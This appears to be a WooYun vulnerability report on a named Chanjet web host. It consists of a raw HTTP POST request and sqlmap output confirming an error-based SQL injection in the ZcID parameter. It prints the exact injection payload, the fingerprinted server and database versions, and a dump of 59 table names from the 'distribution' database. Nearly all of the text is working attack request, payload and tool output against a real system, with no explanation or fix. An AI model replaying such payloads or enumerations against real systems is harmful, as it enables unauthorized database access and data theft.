WooYun.org

POST /Card_2.aspx HTTP/1.1
Content-Length: 301
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://treistertest.chanjet.com
Cookie: ASP.NET_SessionId=405q5pz23k3tg0451cqkugbr
Host: treistertest.chanjet.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
ZcID=OA&__EVENTVALIDATION=/wEWAgLMkJisBwLj7c7hARq0%2b9wFfKIupqhlfeZ6GaGeVsmI&__VIEWSTATE=/wEPDwUKMTYyODY2MzAzNw9kFgICAw9kFgQCAQ8WAh4HVmlzaWJsZWhkAgMPPCsADQEADxYEHgtfIURhdGFCb3VuZGceC18hSXRlbUNvdW50ZmRkGAEFCUdyaWRWaWV3MQ88KwAKAQhmZBY/t3B6ofgzuPmIM2QSdG2IwzEE

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ZcID (POST)
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: ZcID=OA' AND 6965=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (6965=6965) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(106)+CHAR(106)+CHAR(113))) AND 'tooO'='tooO&__EVENTVALIDATION=/wEWAgLMkJisBwLj7c7hARq0+9wFfKIupqhlfeZ6GaGeVsmI&__VIEWSTATE=/wEPDwUKMTYyODY2MzAzNw9kFgICAw9kFgQCAQ8WAh4HVmlzaWJsZWhkAgMPPCsADQEADxYEHgtfIURhdGFCb3VuZGceC18hSXRlbUNvdW50ZmRkGAEFCUdyaWRWaWV3MQ88KwAKAQhmZBY/t3B6ofgzuPmIM2QSdG2IwzEE
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
Database: distribution
[59 tables]
+------------------------------------+
| IHarticles                         |
| IHcolumns                          |
| IHconstrainttypes                  |
| IHextendedArticleView              |
| IHextendedSubscriptionView         |
| IHindextypes                       |
| IHpublications                     |
| IHpublishercolumnconstraints       |
| IHpublishercolumnindexes           |
| IHpublishercolumns                 |
| IHpublisherconstraints             |
| IHpublisherindexes                 |
| IHpublishers                       |
| IHpublishertables                  |
| IHsubscriptions                    |
| IHsyscolumns                       |
| MSarticles                         |
| MScached_peer_lsns                 |
| MSdistribution_agents              |
| MSdistribution_history             |
| MSdistribution_status              |
| MSlogreader_agents                 |
| MSlogreader_history                |
| MSmerge_agents                     |
| MSmerge_articlehistory             |
| MSmerge_articleresolver            |
| MSmerge_history                    |
| MSmerge_identity_range_allocations |
| MSmerge_sessions                   |
| MSmerge_subscriptions              |
| MSpublication_access               |
| MSpublications                     |
| MSpublicationthresholds            |
| MSpublisher_databases              |
| MSqreader_agents                   |
| MSqreader_history                  |
| MSrepl_backup_lsns                 |
| MSrepl_commands                    |
| MSrepl_errors                      |
| MSrepl_identity_range              |
| MSrepl_originators                 |
| MSrepl_transactions                |
| MSrepl_version                     |
| MSreplication_monitordata          |
| MSsnapshot_agents                  |
| MSsnapshot_history                 |
| MSsubscriber_info                  |
| MSsubscriber_schedule              |
| MSsubscriptions                    |
| MSsync_states                      |
| MStracer_history                   |
| MStracer_tokens                    |
| UIProperties                       |
| sysarticlecolumns                  |
| sysarticles                        |
| sysextendedarticlesview            |
| syspublications                    |
| sysschemaarticles                  |
| syssubscriptions                   |
+------------------------------------+